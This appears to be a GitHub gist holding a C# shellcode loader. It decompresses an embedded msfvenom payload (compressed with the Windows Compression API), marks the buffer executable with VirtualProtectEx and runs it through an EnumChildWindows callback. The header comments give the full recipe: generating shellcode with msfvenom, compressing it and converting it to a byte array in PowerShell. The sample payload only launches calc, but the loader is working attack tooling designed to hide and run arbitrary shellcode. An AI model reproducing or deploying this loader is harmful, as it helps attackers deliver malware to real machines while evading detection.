Created
December 2, 2021 08:04
-
-
Save Wra7h/73a0000ad37e6e3cd995742e358c79ab to your computer and use it in GitHub Desktop.
Decompress shellcode w/ execution
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//Decompressing shellcode and execution via callback | |
//Compile: C:\windows\Microsoft.NET\Framework64\v3.5\csc.exe C:\Path\To\DecompressExecute.cs | |
//Windows Compression API: https://docs.microsoft.com/en-us/windows/win32/api/_cmpapi/ | |
//Supported Algorithms: https://docs.microsoft.com/en-us/windows/win32/api/compressapi/nf-compressapi-createcompressor | |
// Step 1: generate shellcode | |
// Msfvenom: msfvenom -p windows/x64/exec CMD=calc exitfunc=thread -f raw -o calc.bin | |
// Step 2: Compress the shellcode with my compress.cs gist here: https://gist.github.com/Wra7h/4d56791c2d0b5c1f27a67f3bc0ab924d | |
// Compression command: .\compress.exe -in C:\path\to\calc.bin -out .\LZMScalc.bin -alg 5 | |
// Step 3: Convert to byte array with PowerShell | |
// PowerShell: PS C:\ > Write-Host ("Size of byte array: " + (get-content -Encoding Byte .\LZMScalc.bin).Count);(get-content -Encoding Byte .\LZMScalc.bin) -join ", " | clip | |
using System; | |
using System.Runtime.InteropServices; | |
namespace Compress | |
{ | |
class Program | |
{ | |
static void Main(string[] args) | |
{ | |
// Compressed msfvenom calc payload with the COMPRESS_ALGORITHM_LZMS. Converted to byte[] with PowerShell. | |
byte[] compressedpayload = new byte[312] { 10, 81, 229, 192, 24, 0, 178, 5, 16, 1, 0, 0, 0, 0, 0, 0, 16, 1, 0, 0, 0, 0, 0, 0, 254, 0, 0, 0, 213, 22, 79, 111, 201, 206, 36, 104, 21, 32, 170, 254, 38, 217, 22, 42, 209, 20, 85, 230, 69, 253, 33, 13, 87, 115, 0, 0, 0, 0, 0, 192, 24, 91, 216, 88, 149, 209, 78, 172, 250, 0, 212, 222, 228, 38, 142, 118, 11, 234, 192, 247, 1, 21, 248, 12, 120, 80, 136, 43, 179, 170, 179, 183, 210, 180, 82, 80, 233, 0, 223, 173, 254, 63, 124, 91, 140, 209, 13, 178, 2, 26, 27, 145, 50, 128, 0, 93, 164, 174, 74, 255, 191, 74, 151, 88, 172, 22, 22, 3, 252, 95, 42, 8, 132, 125, 16, 73, 43, 40, 203, 210, 202, 242, 170, 118, 44, 11, 32, 33, 18, 84, 10, 139, 195, 90, 32, 49, 84, 43, 51, 139, 196, 218, 194, 194, 174, 139, 206, 41, 66, 32, 97, 26, 96, 138, 175, 3, 199, 209, 218, 180, 57, 235, 202, 130, 72, 179, 24, 148, 252, 95, 9, 142, 87, 138, 36, 16, 160, 69, 34, 12, 164, 69, 40, 171, 113, 70, 7, 92, 136, 100, 209, 33, 2, 46, 66, 7, 32, 241, 8, 45, 94, 165, 74, 76, 170, 93, 60, 56, 32, 168, 33, 57, 56, 8, 132, 69, 128, 47, 140, 135, 21, 184, 218, 36, 199, 52, 41, 41, 221, 62, 32, 65, 201, 85, 32, 22, 134, 213, 131, 73, 45, 34, 149, 73, 199, 32, 89, 69, 73, 65, 5, 69, 5, 85, 0, 192, 232, 240, 228, 131, 72, 252, 32, 89, 69, 73, 65, 5, 69, 5, 85, 0, 192, 232, 240, 228, 131, 72, 252, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; | |
IntPtr hDecompressor = IntPtr.Zero; | |
CreateDecompressor((uint)COMPRESS_ALGORITHM.COMPRESS_ALGORITHM_LZMS, IntPtr.Zero, out hDecompressor); //Make sure to change this COMPRESS_ALGORITHM to whichever one you compressed the payload with. | |
if (hDecompressor != IntPtr.Zero) | |
{ | |
byte[] Trash = new byte[] { }; | |
uint UncompressedDataSize = 0; | |
if (!Decompress(hDecompressor, compressedpayload, (uint)compressedpayload.Length, Trash, 0, out UncompressedDataSize))//Run once to get size of uncompressed data. This should fail and return false. | |
{ | |
if (UncompressedDataSize > 0) | |
{ | |
uint UncompressedDataSize2 = 0; //Don't really care about this | |
byte[] UncompressedBuffer = new byte[UncompressedDataSize]; | |
if (!Decompress(hDecompressor, compressedpayload, (uint)compressedpayload.Length, UncompressedBuffer, UncompressedDataSize, out UncompressedDataSize2)) //Run again to decompress for real this time | |
{ | |
Console.WriteLine("[!] Decompress error: {0}", Marshal.GetLastWin32Error().ToString()); | |
} | |
else | |
{ | |
CloseDecompressor(hDecompressor); // No longer need Decompressor. | |
GCHandle pUncompressedArray = GCHandle.Alloc(UncompressedBuffer, GCHandleType.Pinned); | |
uint oldProtect = 0; | |
if (VirtualProtectEx(GetCurrentProcess(), pUncompressedArray.AddrOfPinnedObject(), (UIntPtr)UncompressedDataSize, 0x20/*RX*/, out oldProtect)) | |
{ | |
//Execute shellcode | |
EnumChildWindows(IntPtr.Zero, pUncompressedArray.AddrOfPinnedObject(), IntPtr.Zero); | |
} | |
} | |
} | |
} | |
} | |
} | |
[DllImport("user32.dll")] | |
public static extern bool EnumChildWindows(IntPtr window, IntPtr callback, IntPtr i); | |
[DllImport("Cabinet.dll")] | |
static extern bool CreateDecompressor(uint Algorithm, IntPtr AllocationRoutines, out IntPtr DecompressorHandle); | |
[DllImport("Cabinet.dll")] | |
static extern bool CloseDecompressor(IntPtr DecompressHandle); | |
[DllImport("Cabinet.dll")] | |
static extern bool Decompress(IntPtr DecompressorHandle, byte[] CompressedData, uint CompressedDataSize,byte[] UncompressedBuffer, uint UncompressedBufferSize, out uint UncompressedDataSize); | |
[Flags] | |
public enum COMPRESS_ALGORITHM | |
{ | |
COMPRESS_ALGORITHM_MSZIP = 2, | |
COMPRESS_ALGORITHM_XPRESS = 3, | |
COMPRESS_ALGORITHM_XPRESS_HUFF = 4, | |
COMPRESS_ALGORITHM_LZMS = 5, | |
COMPRESS_RAW = 1 << 29 | |
} | |
[DllImport("kernel32.dll")] | |
static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); | |
[DllImport("kernel32.dll", SetLastError = true)] | |
public static extern IntPtr GetCurrentProcess(); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment